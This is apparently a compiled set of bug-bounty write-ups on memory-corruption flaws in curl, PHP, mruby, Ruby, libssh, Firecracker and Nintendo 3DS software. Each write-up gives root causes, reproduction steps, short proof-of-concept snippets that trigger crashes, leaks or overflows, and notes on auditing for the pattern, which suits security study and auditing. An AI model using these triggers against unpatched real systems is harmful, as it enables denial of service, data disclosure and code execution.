/* build libcurl with -fsanitize=address; UAF write at multi_ev.c:275/280 */
Insight β Any code that invokes a user/plugin callback and then touches the object it passed in is a reentrancy-UAF candidate: the callback can re-enter the library and free that object. Audit for state mutation AFTER a callback fires, and confirm reentrancy guards (in_callback flags) are actually CHECKED, not just set. Bit-field writes surface UAF earlier under ASan because they compile to read-modify-write.
Real-world example
Documented 'clear' API leaves dangling pointer -> UAF + cross-request leak (curl referer)
β Low
Specimen #3754343 Β· curl Β· none Β· 3 votes Β· resolved
Program curlSurface otherChain dangling state.referer -> UAF -> stale/leaked Referer
Root cause
Setting CURLOPT_REFERER=NULL (documented way to disable Referer) does not clear the cached per-handle data->state.referer; it dangles. On the next request on the same reused easy handle libcurl uses the freed pointer (UAF), and if the chunk was reused it sends the new heap contents - or the previous job's referer - to a different origin (CVE-2026-9546).
Method
- On a reused easy handle, set a custom CURLOPT_REFERER for tenant A's request; perform it.
- Call curl_easy_setopt(easy, CURLOPT_REFERER, NULL) exactly as documented to clear it.
- Reuse the handle for tenant B's request to an attacker-controlled URL.
- Under ASan: UAF on state.referer; on the wire: B receives A's stale Referer or reused heap contents.
curl_easy_setopt(easy, CURLOPT_REFERER, "https://internal.dashboard/job/SECRET");
curl_easy_perform(easy); /* tenant A */
curl_easy_setopt(easy, CURLOPT_REFERER, NULL); /* documented clear - does NOT reset state.referer */
curl_easy_setopt(easy, CURLOPT_URL, attacker_url);
curl_easy_perform(easy); /* tenant B: sends A's referer / freed heap */
Insight β A 'clear/reset' API that frees the object but forgets to null the cached copy gives both a UAF and a cross-request data leak on pooled/reused handles. In multi-tenant fetchers (crawlers, screenshot/SSRF-guard services) that recycle handles, test that documented reset options actually scrub per-request state - reframe the memory bug as a confidentiality boundary crossing between jobs/tenants.
Real-world example
Use-after-free / double-free via GC and iterator invalidation
β Low
Specimen #203002 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
Incorrect garbage-collection / list-mutation-during-iteration frees an object that is still referenced (Python xxlimited GC, asyncio callback list), so a later use dereferences freed memory with attacker-influenced contents (controlled RBX in PyArena_Malloc; variants double-free).
Method
- Find code that mutates or frees an object during iteration or across a GC pass while a reference is retained.
- Craft input that triggers the free while the stale pointer is still used.
- Observe controlled register at the use site (0x4141... in RBX) or a double-free.
# Python3.6 xxlimited GC UAF: crafted script whose freed object's data
# lands in RBX at PyArena_Malloc (payload limited to ASCII due to exec()).
# asyncio variant: remove a callback while Future's callback list is iterated.
Insight β UAF hotspots in managed runtimes: custom tp_traverse/tp_clear GC hooks, and any 'remove/modify while iterating' pattern. If you can steer the freed slot's bytes (ASCII-constrained via exec), a controlled-register UAF is a strong RCE lead.
Real-world example
Stack buffer overrun (/GS) via long attacker-supplied header
β Low
Specimen #170260 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
imap_rfc822_parse_headers overflows a fixed stack buffer when handling a long RFC822 header string, tripping the Windows /GS stack cookie (STATUS_STACK_BUFFER_OVERRUN); flagged EXPLOITABLE by !exploitable.
Method
- Pass an over-long header string into imap_rfc822_parse_headers.
- The fixed stack buffer overflows during rfc822_parse_msg_full.
- Windows /GS aborts (DoS); without the cookie the saved registers/return could be corrupted.
// imap_rfc822_parse_headers( <very long header string> );
// !exploitable: STATUS_STACK_BUFFER_OVERRUN (/GS), classified EXPLOITABLE
Insight β Header/field parsers that copy variable-length input into fixed stack buffers are classic overflows; triage crashes with WinDbg !exploitable to separate GS-abort DoS from corruptible-frame cases. Long-string fuzzing of each parse_* entry point is high-yield.
Real-world example
Integer overflow in allocation-size arithmetic β heap overflow
β Low
Specimen #146360 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
A user-controlled length is fed into size arithmetic (cast to int, +1, or multiply/round-up) that overflows, so a tiny buffer is allocated while the subsequent memcpy still copies the full, huge length β classic size-vs-copy mismatch.
Method
- Find a native function that allocates from an attacker-influenced length using arithmetic like (int)len, len+1, or ((len-1)/block+1)*block
- Supply len near SIZE_MAX/INT_MAX (e.g. str_repeat('A',0xffffffff)) so the size computation wraps to a small value
- The following memcpy/loop still uses the original huge length β out-of-bounds heap write, SIGSEGV in memcpy
<?php
ini_set('memory_limit',-1);
$str = str_repeat('A', 0xffffffff);
// case 1: block cipher path -> data_size = ((((int)data_len-1)/block)+1)*block wraps to 0x20
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_256,'','cbc','');
mcrypt_generic_init($td, str_repeat('C',32), str_repeat('D',32));
mdecrypt_generic($td, $str); // emalloc(0x20+1) then memcpy(dst,$str,0xffffffff)
?>
Insight β Whenever an allocation size is derived from a length by casting to a narrower/signed type, adding, or rounding to a block boundary, test the length at INT_MAX/SIZE_MAX boundaries. The tell is a small emalloc/malloc immediately followed by a memcpy/loop that reuses the original length variable, not the computed size.
Real-world example
Unchecked large allocation + missing malloc-failure check β NULL deref DoS
β Low
Specimen #2070810 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface networkTag file-upload
Root cause
libssh's SFTP server honors a client-specified read length up to 4GB and allocates a buffer of that size without checking for allocation failure; under memory pressure the malloc returns NULL and is dereferenced β crash (CVE-2023-3603).
Method
- As an authenticated SFTP client, issue a read request with a very large length field (up to 0xffffffff)
- Server allocates a matching buffer with no NULL check
- On low memory the allocation fails and the NULL result is used β server connection crash / DoS
# SFTP SSH_FXP_READ with len ~= 4GB; repeat to induce allocation failure
# server path: buffer = malloc(client_len); // no if(!buffer) check -> NULL deref
Insight β Wherever a network peer controls an allocation size, check both (a) is the size capped, and (b) is the malloc return checked. Attacker-chosen huge allocations that lack a failure check turn ordinary OOM into a remotely triggerable NULL-deref DoS β cheap to test by requesting max-sized reads.
Real-world example
php-cgi mmap out-of-bounds read leaks process memory (CVE-2014-9427)
β Low
Specimen #73234 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface webTag file-upload
Root cause
sapi/cgi/cgi_main.c mmaps the target .php file but does not properly respect the mapping length when the file begins with a '#' character and has no trailing newline, causing an out-of-bounds read past the mapping into adjacent process memory.
Method
- On a host running php-cgi, obtain the ability to place/upload a .php file
- Make the file's first byte '#' and ensure it contains no newline character
- Request/execute the file via php-cgi; the mmap length mishandling reads past the mapping
- Adjacent php-cgi process memory is disclosed (or, if a valid script sits in adjacent memory, unexpected code execution)
# a .php file whose first byte is '#' and that contains NO newline byte
#<no trailing LF>
Insight β When a target lets you upload or control .php files served by php-cgi, malformed leading-byte + missing-newline files can trigger memory-disclosure bugs in the CGI SAPI. Generalizes to: file-parsers that mmap input and trust the file length are prone to OOB reads on truncated/edge-case inputs. Affects PHP <=5.4.36, 5.5.x<=5.5.20, 5.6.x<=5.6.4.
Real-world example
OOB heap read via unvalidated computed index in scaling/encoding routines
β Low
Specimen #141202 Β· ibb Β· 500 Β· 1 votes Β· resolved
Program ibbSurface webTag file-upload
Root cause
Image/text processing routines index an internal array by a computed value (interpolation weight channel, encoder bit position, length without null terminator) that can exceed the allocated window/buffer, causing an out-of-bounds heap read and information disclosure.
Method
- Supply an image/locale/string that makes the routine compute an index larger than its allocated window (e.g. bicubic _gdContributionsAlloc allocates windows_size=9 but _gdScaleRow accesses Weights[left_channel] with left_channel=9 -> 10th element).
- The OOB access reads adjacent heap memory; with the right sink the leaked bytes surface to the attacker.
<?php imagescale($img, 13); // bicubic path: ContribRow[x].Weights[left_channel] reads index 9 of a size-9 array
Insight β Interpolation/encoding loops are a rich OOB-read surface: audit any `arr[computed_index]` where the index is derived from dimensions/lengths but bounds-checked against a different (smaller) value. An OOB read alone is a heap info-leak; paired with a write primitive (see #153776) it enables reliable exploitation.
Real-world example
Unchecked decode/return value and unchecked bounds -> null deref / invalid access
β Low
Specimen #161216 Β· ibb Β· 500 Β· 1 votes Β· resolved
Program ibbSurface web
Root cause
Native code uses the return of a decode/allocate call (php_base64_decode) without NULL-checking it before dereference; invalid input makes the call return NULL and the value is stored/used -> null pointer dereference. Same anti-pattern includes using an unchecked recursion depth/level as an array offset.
Method
- Send input that makes the decode fail: a wddx packet with an EL_BINARY element containing invalid base64.
- php_base64_decode returns NULL, unchecked; ZVAL_STR stores NULL and later use dereferences it -> crash.
- Related: xml_parse_into_struct with deep/odd nesting where parser->level is used as ltags[level-1] without a lower-bound check.
wddx_deserialize('<wddxPacket version="1.0"><header/><data><binary>@@@invalid_base64@@@</binary></data></wddxPacket>');
Insight β Grep native/extension code for calls to decode/alloc/lookup helpers (base64/hex/malloc) whose result is used without a NULL check, and for depth/level/index counters used as array offsets without bounds checks. These are quick, high-signal DoS (and sometimes worse) findings from fuzzing type-parsers (wddx, xml, iterators).
Real-world example
curl HTTP/2 stream-dependency use-after-free via curl_easy_reset()
β Low
Specimen #3751697 Β· curl Β· none Β· votes Β· resolved
Program curlSurface otherTag file-upload
Root cause
curl_easy_reset() zeroes data->set.priority without first walking the HTTP/2 stream-dependency tree to remove the handle from its peers' children lists. Peers keep dangling pointers to the reset handle; a later curl_easy_cleanup() dereferences the freed handle in data_priority_cleanup/priority_remove_child.
Method
- Create two easy handles A and B
- Set CURLOPT_STREAM_DEPENDS on B pointing at A (links B into A's dependency tree)
- Call curl_easy_reset(B) -> clears B's priority pointers without unlinking from A's children
- curl_easy_cleanup(B) then curl_easy_cleanup(A) -> UAF via A's stale children list
CURL *A = curl_easy_init();
CURL *B = curl_easy_init();
curl_easy_setopt(B, CURLOPT_STREAM_DEPENDS, A);
curl_easy_reset(B);
curl_easy_cleanup(B);
curl_easy_cleanup(A); // dangling reference to freed B
Insight β Reset/clear functions that memset a struct containing pointers into shared linked structures (trees, intrusive lists) are a recurring UAF source: the object is unlinked in one path (cleanup) but not in the reset path. Audit every reset()/clear() for structures whose teardown has its own dedicated function that reset forgot to call.
Real-world example
Apache mod_isapi read-beyond-bounds: length of one string used to index another
β Low
Specimen #1595296 Β· ibb Β· none Β· votes Β· resolved
Program ibbSurface webTag file-upload
Root cause
In mod_isapi.c HSE_REQ_MAP_URL_TO_PATH handling, len = strlen(r->filename) (the DLL path) is used to index file[len-1], a different buffer supplied by the ISAPI DLL, so the index bears no relation to that buffer's length -> read beyond bounds.
Method
- Reach an ISAPI extension that calls ServerSupportFunction/HSE_REQ_MAP_URL_TO_PATH
- Provide a mapped path string shorter than the DLL filename length
- file[len-1] with len from strlen(r->filename) reads outside the file buffer
// root cause: len = strlen(r->filename); ... file[len-1] != '/'
// index derived from the DLL path length, applied to the unrelated 'file' buffer
Insight β A recurring bounds-bug pattern: a length computed from string A is used to index string B. When auditing C, flag any strlen(X) feeding an index into a buffer that is not X.
Real-world example
libcurl HSTS cross-thread share double-free / UAF
β Low
Specimen #1913110 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
libcurl lets separate easy handles share HSTS data, but that sharing was implemented without thread-safety (no mutex/lock) or documentation of the constraint; two threads sharing the same HSTS store can double-free or use-after-free it (CVE-2023-27537).
Method
- Share one HSTS cache across easy handles used by two threads.
- Perform concurrent transfers that update HSTS state.
- Unsynchronized frees on the shared store collide -> double-free/UAF.
Insight β Shared mutable state offered by a library API is only safe if either the lib locks it or the docs forbid concurrent use. When you see a 'share this object across handles' feature, test it from multiple threads - missing internal locking on shared caches (HSTS, connection/DNS caches, cookie jars) yields double-free/UAF.
Real-world example
Unvalidated channel count β shift-vs-multiply size miscalc β heap overflow
β Info
Specimen #897606 Β· nintendo Β· awarded Β· 43 votes Β· resolved
Program nintendoSurface otherChain MITM/cert bug (#894922) β serve crafted eShop movie β Mobicl
Root cause
PcmAudioPresentation::GetNextAudioDataPtr computes already_played_bytes = samples << nbChannels (i.e. *2^nbChannels) while sample count was derived using *2*nbChannels; the two agree only for 1-2 channels, but nbChannels comes unvalidated from the video file (up to 256), so free_space is grossly overestimated and the size check is bypassed β heap overflow.
Method
- Craft a moflex video setting the audio stream channel count >2 (e.g. large value)
- Choose already-played length so already_played_bytes = samples<<nbChannels wraps/inflates to bypass free_space check
- Audio data copy overflows the heap audio buffer β RCE in eShop (chained with SSL/cert MITM #894922)
moflex file with audioStreamInfo.nbChannels = large (>2); shift by nbChannels != multiply by 2*nbChannels β free_space check bypassed
Insight β When code uses bit-shift as a shortcut for multiply (<<n == *2^n), it silently diverges from *k for the same parameter once the value leaves {1,2}. Audit media parsers where a header field is both a scaling factor and an exponent.
Real-world example
Uninitialized class member pointer + heap grooming β arbitrary virtual call
β Info
Specimen #895769 Β· nintendo Β· awarded Β· 38 votes Β· resolved
Program nintendoSurface otherChain cert/MITM (#894922) β crafted eShop movie (pcm16) + fake scr
Root cause
The eShop video player does not initialize the audio 'decoder' pointer member; for the pcm16 codec no decoder is allocated so the code uses the uninitialized *out_decoder and calls decoder->init(), an arbitrary virtual call. The stale slot is groomable because the app frees JPEG title screenshots just before allocating the player object.
Method
- Serve the movie with the raw pcm16 audio codec so create_audio_decoder skips allocation and reads the uninitialized decoder field
- Before playback, supply crafted binary 'screenshot' files (freed just before player alloc) to place controlled bytes where the player object lands
- decoder->init() dispatches a virtual call through the attacker-controlled pointer β RCE
video with codec=pcm16; craft fake title screenshots (freed pre-alloc) so freed heap contains a fake vtable pointer at the decoder-field offset
Insight β Uninitialized pointer members become arbitrary-call primitives when a preceding free of similarly-sized objects lets you place controlled data at that heap slot. Look for object fields only set on some code paths (here: only non-pcm codecs allocate a decoder).
Real-world example
Malformed script β NULL RArray deref crash in interpreter
β Info
Specimen #420115 Β· shopify-scripts Β· USD 800 Β· 37 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A syntactically bizarre mruby program drives the VM to call mrb_ary_push with a NULL array pointer; ARY_LEN(a) dereferences NULL (a==0x0) β crash. Found by fuzzing the interpreter that Shopify runs on untrusted merchant scripts.
Method
- Feed the mruby VM the crafted script below
- VM reaches mrb_ary_push with struct RArray* a == NULL
- ARY_LEN(a) reads *0x0 β SIGSEGV (Valgrind: invalid read of size 4 at array.c:498)
def method_missing(*)
end
{}.[]0[*0] %=
begin{0=>0}
00end
Insight β When an interpreter/VM runs untrusted scripts (Shopify Scripts, sandboxes), malformed but parseable source is the attack surface; fuzz the parser+VM and treat NULL-deref crashes as DoS. Grab valgrind/gdb to pin the exact sink for reporting.
Real-world example
Unbounded strcpy+strcat into fixed char buf[256] in warning path
β Info
Specimen #535827 Β· shopify-scripts Β· USD 1000 Β· 33 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mruby's yywarning_s builds a message with strcpy(buf,msg)+strcat(buf,": ")+strcat(buf,s) into a fixed char buf[256] with no length check; a long token s (echoed into a parser warning) overflows the stack buffer.
Method
- Feed the mruby compiler source that produces a very long token echoed into a warning (e.g. a huge numeric literal)
- yywarning_s strcat's the token into buf[256] without bounds
- Stack buffer overflow β crash / potential control-flow hijack
300000000000000000000000000000000000000000000000E0030000...0000 (over-long literal that mruby echoes into a yywarning_s message)
Insight β Error/warning formatters that strcat user-echoed tokens into a fixed stack buffer are overlooked overflow sinks β the 'safe' diagnostic path handles attacker data unbounded. Grep for strcpy/strcat into char buf[N] in parser warning/error code.
Real-world example
Guest writes virtio queue config after device activation β OOB read/write escape
β Info
Specimen #3738654 Β· aws_vdp Β· none Β· 33 votes Β· resolved
Program aws_vdpSurface otherChain guest post-activation queue-address rewrite β host OOB R/W βTag cloud-aws
Root cause
Firecracker's virtio PCI common-config write path applied queue registers (size, ready, desc/avail/used ring addresses) directly into the live Queue object without checking whether the device was already activated; a guest can mutate queue geometry/addresses post-activation so the host processes descriptors against attacker-chosen ring addresses β out-of-bounds read/write in the VMM (local privilege escalation / VM escape).
Method
- From inside the guest, activate a virtio-pci device normally
- After activation, write queue config registers (offsets 0x18 size, 0x1c ready, 0x20-0x34 desc/avail/used ring addresses) to point rings at attacker-chosen addresses
- Host VMM services the queue using the mutated addresses β OOB read/write in the Firecracker process
guest MMIO writes to virtio common cfg: 0x20/0x24 desc_table_address, 0x28/0x2c avail_ring_address, 0x30/0x34 used_ring_address AFTER device activation
Insight β Device-model state machines must reject configuration mutations once activated; anywhere a guest-writable register feeds a host-side pointer/length without an 'is-activated' gate is a VM-escape primitive. In Rust VMMs the memory-safety guarantees don't cover logically-out-of-bounds guest-physical addresses.
Real-world example
3DS StreetPass decompression heap overflow via unchecked total size (Super Mario Maker)
β Info
Specimen #687887 Β· nintendo Β· awarded Β· 30 votes Β· resolved
Program nintendoSurface otherChain StreetPass exchange -> crafted compressed level -> dec
Root cause
Super Mario Maker decompresses a StreetPass-received level chunk-by-chunk without validating that the running decompressed size stays within bounds. Because the decompressed buffer sits immediately after the compressed buffer, a first chunk of exactly the max transport size (0x18000) makes the parser continue reading its own decompressed output as the next 'compressed' chunk and copy past the decompressed buffer -> heap overwrite of adjacent objects.
Method
- Decrypt StreetPass comms (bootrom keys dumped) so you can craft the exchanged file
- Set first compressed chunk length to exactly 0x18000 (the transport max)
- Decompressed data lands at compressed_buf+0x18000; parser treats it as the next chunk with no size check
- Continued decompression overflows the decompressed buffer, overwriting heap objects -> userland code execution
file layout:
[chunk0: compressed, len = 0x18000] # == max transport size, no total-size check
... decompressed output written to compressed_buf+0x18000 ...
[parser reads compressed_buf+0x18000 as chunk1] -> copy past decompressed buffer -> heap overflow
Insight β A per-chunk decompressor that only bounds each chunk but never the cumulative decompressed length is exploitable when input and output buffers are adjacent: the attacker's decompressed bytes become the next parsed input. When auditing decompression/streaming parsers, check for a global output-size cap, not just per-chunk sanity.
Real-world example
3DS Swapnote TLRF heap overflow via attacker-controlled memcpy offset+size
β Info
Specimen #923240 Β· nintendo Β· awarded Β· 30 votes Β· resolved
Program nintendoSurface otherChain StreetPass message -> TLRF memcpy overflow -> heap chu
Root cause
When parsing TLRF chunks in Swapnote message files, the app reads offset and size fields directly from the file and memcpy's from TLRF_buffer+offset into fixed-size heap buffers using the user-provided size, overflowing heap chunks and enabling unsafe-unlink -> code execution. Delivered over StreetPass -> remote userland RCE.
Method
- Craft a Swapnote message file with a TLRF chunk whose size fields exceed the destination heap buffers
- Exchange it via StreetPass
- Parser reads size_0/size_1 from the file and memcpy's controlled data over fixed-size heap buffers
- Overflowed heap chunk metadata -> unsafe unlink -> code execution
u32 offset_0 = *(u32*)(TLRF_buffer + 0x6DC);
u32 size_0 = *(u32*)(TLRF_buffer + 0x70C);
memcpy(heap_buffer_0, TLRF_buffer + offset_0, size_0); // offset+size fully attacker-controlled
u32 offset_1 = *(u32*)(TLRF_buffer + 0x6EC);
u32 size_1 = *(u32*)(TLRF_buffer + 0x71C);
memcpy(heap_buffer_1, TLRF_buffer + offset_1, size_1);
Insight β The most direct memory-corruption primitive in a binary file format is a memcpy whose length AND source offset come straight from the file. Search parsers for memcpy(dst, base+file_offset, file_size) into fixed buffers. On classic dlmalloc-style heaps the overflow escalates via unsafe unlink to a write primitive.
Real-world example
PHP GD imagetruecolortopalette 64->32 bit truncation OOB write
β Info
Specimen #161189 Β· ibb Β· 1000 Β· 23 votes Β· resolved
Program ibbSurface otherChain attacker ncolors -> 64->32 truncation to 0 -> underTag file-upload
Root cause
Type mismatch between zif_imagetruecolortopalette (ncolors as 64-bit) and php_gd_gdImageTrueColorToPalette (colorsWanted as 32-bit): a value like 0x1000000000000000 truncates to 0 when narrowed to 32-bit, so select_colors under-allocates and writes out of bounds.
Method
- Call imagetruecolortopalette with ncolors = 0x1000000000000000 (passes 64-bit sanity checks)
- Value is narrowed to 32-bit colorsWanted -> becomes 0
- select_colors allocates for 0 colors then writes beyond the allocation
// ncolors (int64) 0x1000000000000000 --narrow--> colorsWanted (int32) = 0
// select_colors under-allocates -> out-of-bounds write
imagetruecolortopalette($img, true, 0x1000000000000000);
Insight β Integer-width mismatch across a function boundary (64-bit validated, 32-bit used) lets an attacker pass a value that survives the check but truncates to a dangerous value (often 0) at the allocation site. When auditing, diff the integer types of the same logical parameter between caller and callee; truncation between them is a size-confusion primitive.
Real-world example
Uninitialized MAC-context callback pointer freed on AES-GCM rekey (CVE-2013-4548)
β Info
Specimen #500 Β· ibb Β· awarded Β· 23 votes Β· resolved
Program ibbSurface otherTag webhook
Root cause
With an authenticated cipher (AES-GCM) the MAC context is unused and never initialized (allocated with xmalloc, not xcalloc); a rekey still invokes the MAC's cleanup callback, calling a function pointer derived from stale heap contents.
Method
- Post-auth sshd negotiates aes128-gcm@openssh.com
- MAC context left uninitialized because GCM self-authenticates
- Trigger a rekey; cleanup callback dereferences attacker-influenced heap -> code exec as authed user
# Select AES-GCM at kex, then force rekey.
# Fix: newkey = xcalloc(1,sizeof(*newkey)); // was xmalloc -> uninitialized callback ptrs
Insight β When a struct has optional/mode-dependent function pointers, an unused branch leaving them uninitialized is exploitable if any cleanup path still calls them. Grep for xmalloc/malloc of structs containing callbacks; ensure zero-init.
Real-world example
PHP openssl_x509_parse() OOB write via NUL in ASN1 timestamp (CVE-2013-6420)
β Info
Specimen #523 Β· ibb Β· awarded Β· 16 votes Β· resolved
Program ibbSurface otherTag supply-chain
Root cause
asn1_time_to_time_t() uses estrdup() (NUL-terminated) to copy an ASN1 timestamp but then indexes by the ASN1-declared length; a certificate whose notBefore/notAfter field contains an embedded NUL causes writes of up to five NUL bytes past the allocated heap buffer.
Method
- Find an app that calls openssl_x509_parse() on an attacker-supplied cert (cert debuggers, SMIME webmail, client-cert handling, cert pinning)
- Craft an x509 cert with an embedded NUL early in the notBefore/notAfter timestamp and a longer real length
- Feed it; heap layout groomed via POST var duplication makes the OOB write exploitable
# malicious cert whose validity timestamp embeds NUL bytes (see report PoC PEM)
# notBefore field contains NUL at pos ~13 with real length >16 -> 5x NUL OOB heap write
Insight β Binary-safety bugs hide wherever C parses length-prefixed data (ASN1, TLV) using string functions; embedded NUL bytes desynchronize strlen-based allocation from length-based iteration. Any language binding that parses attacker certs is an attack surface even if the exposed API looks benign.
Real-world example
Concurrent clear() on shared buffer β double-free race (Flash bytearray)
β Info
Specimen #37240 Β· ibb Β· awarded Β· 15 votes Β· resolved
Program ibbSurface otherChain race on shared buffer clear() -> double free -> heap c
Root cause
A ByteArray shared between two Flash workers can be cleared by both simultaneously; the clear()/free is not synchronized, so the underlying allocation is freed twice (double free) under a race (CVE-2014-0574).
Method
- Share a bytearray between two workers
- Have both workers call bytearray.clear() at the same time
- Race causes the backing buffer to be freed twice β double free / heap corruption
// worker A and worker B, on a shared ByteArray:
// A: sharedBA.clear(); B: sharedBA.clear(); (concurrently)
Insight β Any object shared across threads/workers whose 'reset/clear/close' both frees a resource and lacks a lock is a double-free/UAF race. When an API exposes shared mutable buffers, test simultaneous free/clear from two contexts. TOCTOU on the free itself, not just on use.
Real-world example
Pointer+length arithmetic overflow defeats bounds check (Ruby StringIO)
β Info
Specimen #144482 Β· ruby Β· awarded Β· 15 votes Β· resolved
Program rubySurface other
Root cause
strio_getline() bounds-checks with `if (limit > 0 && s + limit < e)` where s is a pointer and limit a long; on 32-bit, s + limit can overflow to a small unrelated address (e.g. 0xBF000000 + 0x7FFFFFFF = 0x3EFFFFFF), so the check passes incorrectly and downstream reads proceed with a bogus end pointer β out-of-bounds read.
Method
- On 32-bit Ruby, call StringIO#gets/getline-style API with a very large limit against a string whose buffer sits high in memory
- s + limit overflows past the address space wrap, bypassing the `s + limit < e` guard
- Subsequent substring/read uses the corrupted boundary β OOB read
# ext/stringio/stringio.c strio_getline():
# if (limit > 0 && s + limit < e) // s(ptr)+limit(long) overflows on 32-bit
# e.g. s=0xBF000000, limit=0x7FFFFFFF -> 0x3EFFFFFF < e passes wrongly
Insight β Bounds checks written as `ptr + userlen < end` are unsafe when userlen is attacker-controlled: pointer+length can overflow. Prefer `userlen < end - ptr`. Audit any `p + n < q` comparison where n comes from input, especially in 32-bit builds.
Real-world example
CPython functools.partial type confusion -> control flow hijack
β Info
Specimen #116286 Β· ibb Β· USD 1000 Β· 13 votes Β· resolved
Program ibbSurface otherChain type confusion -> controlled function pointer -> IP coTag supply-chain
Root cause
Type confusion in partial.__setstate__/partial_repr/partial_call lets a crafted (unpickled) partial object be corrupted so that calling repr() on it invokes a function pointer under attacker control, giving reliable instruction-pointer control.
Method
- Deliver a crafted functools.partial state (e.g. via unpickling attacker data)
- Corrupt the partial via the __setstate__ type confusion
- Call repr()/print() on it to invoke the attacker-controlled function pointer
# see attachment 73381_partialpoc.py; upstream bugs.python.org/issue25944, issue25945
Insight β Object __setstate__/__reduce__ paths in interpreters are prime type-confusion targets; the exploit only requires the app to repr()/print() an object built from untrusted state. Any code path that unpickles then reprs attacker data can be a native code-exec sink, not just a data bug.
Real-world example
mruby VM value-stack heap overflow via huge argument count
β Info
Specimen #204421 Β· shopify-scripts Β· 800 Β· 12 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A method call with a very large number of arguments is not accounted for when growing the VM value stack, so value_move memcpy's past the end of the reallocated stack region.
Method
- Construct a method/operator call with hundreds of literal arguments
- VM stack grown insufficiently; value_move writes 16 bytes past the 2048-byte region
- ASAN reports heap-buffer-overflow WRITE in value_move (vm.c)
d 0,0,0,0, ...(hundreds of args)... ,0 < 0 - 0.-- 0
Insight β In bytecode/script sandboxes, argument-count and stack-depth handling is a recurring overflow sink: fuzz calls with extreme arity/operand counts to find missing stack-growth checks.
Real-world example
mruby integer-as-pointer type confusion in mrb_check_frozen
β Info
Specimen #621308 Β· shopify-scripts Β· 1000 Β· 9 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Calling remove_instance_variable on an Integer receiver passes the raw integer value into mrb_iv_remove -> mrb_check_frozen, which dereferences it as a struct RBasic* (MRB_FROZEN_P), giving an attacker-controlled arbitrary pointer dereference.
Method
- Call remove_instance_variable on an integer literal
- mruby treats the integer's numeric value as an object pointer
- mrb_check_frozen dereferences 0xDEADBEEF-style attacker value -> SIGSEGV / arbitrary read
3735928559.remove_instance_variable '@a' # 0xDEADBEEF as a fake object pointer
Insight β Missing receiver type checks in interpreter builtins turn immediate/tagged values (Fixnum, Symbol) into fake pointers - a controlled-address primitive. Test every object/variable API against non-object receivers (integers, nil, symbols).
Real-world example
Ruby JSON.generate NUL-in-space heap over-read disclosure
β Info
Specimen #209949 Β· ruby Β· awarded Β· 9 votes Β· resolved
Program rubySurface other
Root cause
JSON generator stores space/indent as (pointer,length) but copies it via strdup/memccpy, which stop at the first NUL and return a zero-length buffer while the original space_len is retained; fbuffer_append then copies space_len bytes from the short buffer, reading adjacent heap into the output (CVE-2017-14064).
Method
- Create a JSON state whose space string is NUL bytes (e.g. "\0"*1024)
- JSON.generate copies it with strdup/memccpy -> truncated buffer but length 1024 kept
- Generated JSON contains 1024 bytes of adjacent heap memory
state = JSON.state.new
state.space = "\0" * 1024
puts JSON.generate({a: :b}, state)
Insight β Mismatch between a stored length and a NUL-terminating copy (strdup/strcpy/memccpy) reliably leaks heap: whenever a length field survives a string-copy that stops at NUL, you can over-read. A cheap ASLR-defeating disclosure primitive.
Real-world example
Integer overflow / signedness bugs and uninitialized-heap disclosure in C
β Info
Specimen #115686 Β· torproject Β· awarded Β· 8 votes Β· resolved
Program torprojectSurface other
Root cause
Classic C source-audit findings: signed loop counter i<(int)len skips when len>=0x80000000; size math done before bounds check (sz_out and srclen*3/4) overflows on 32-bit; buffers allocated with malloc (not calloc/malloc_zero) can leak uninitialized heap when a length calc under-fills them.
Method
- Grep for tor_malloc(n * sizeof(...)) and size arithmetic done before the length/bounds check
- Look for loops using (int) casts of size_t lengths -> signedness flips
- Look for allocate-then-partial-fill-then-transmit patterns using malloc instead of calloc/malloc_zero
- Reproduce with ASan (-fsanitize=address, and -m32 for 32-bit overflows)
# write_escaped_data: sz_out = len+8; for(i=0;i<(int)len;++i)... overflow/signedness
# base64_decode: if (destlen < (srclen*3)/4) -> srclen*3 overflows for srclen > 0x55555555
gcc -m32 -fsanitize=address base64_decode.c && ./a.out
Insight β In C audits: (1) any (int) cast of a size_t length is a signedness bug candidate; (2) multiply-before-divide/multiply-before-check overflows on 32-bit -> undersized buffer; (3) malloc + conditional partial fill + send() leaks heap remnants -> use calloc/malloc_zero. Prove each with ASan, both 64- and 32-bit.
Real-world example
mruby OP_ARYCAT read-after-free in mrb_vm_exec
β Info
Specimen #184715 Β· shopify-scripts Β· 1000 Β· 8 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A crafted script drives the OP_ARYCAT opcode to read register R(B) after the underlying array/value has been freed (GC/reallocation), producing a use-after-free during bytecode execution.
Method
- Run the crafted class/method definition under mruby
- OP_ARYCAT reads R(B) whose backing store was already freed
- EXC_BAD_ACCESS / ASAN UAF in mrb_vm_exec
class Klazz
def $thing.name
f@thing.f@thing.name *nil
end
f$thing.name
end
Insight β VM opcodes that operate on register-referenced heap objects can read stale registers after GC; fuzz the bytecode interpreter to find opcodes that dereference registers without revalidating liveness. Note engine instruction/memory limits may mask it - raise them when testing.
Real-world example
PHP use-after-free via GC forced during unserialize()
β Info
Specimen #152266 Β· ibb Β· awarded Β· 8 votes Β· resolved
Program ibbSurface other
Root cause
PHP's garbage collector can be invoked automatically in the middle of unserialize() (e.g. by a self-referential array that creates enough cycles), and the GC frees objects that unserialize still holds references to -> use-after-free while deserializing untrusted data (bug 72479; also var_unserializer key-deletion UAF, CVE-2017-12932).
Method
- Build a serialized payload containing a large self-referential array (cycles)
- Have the target unserialize() it (no explicit gc_collect_cycles needed)
- Automatic GC during unserialize frees an in-use object -> UAF
$xxx = [];
for ($i=0;$i<10000;$i++){ $xxx[$i]=[[]]; $xxx[$i][0]=&$xxx[$i]; }
$arr=["xxx"=>$xxx,"yyy"=>1];
unserialize(str_replace("yyy","xxx",serialize($arr)));
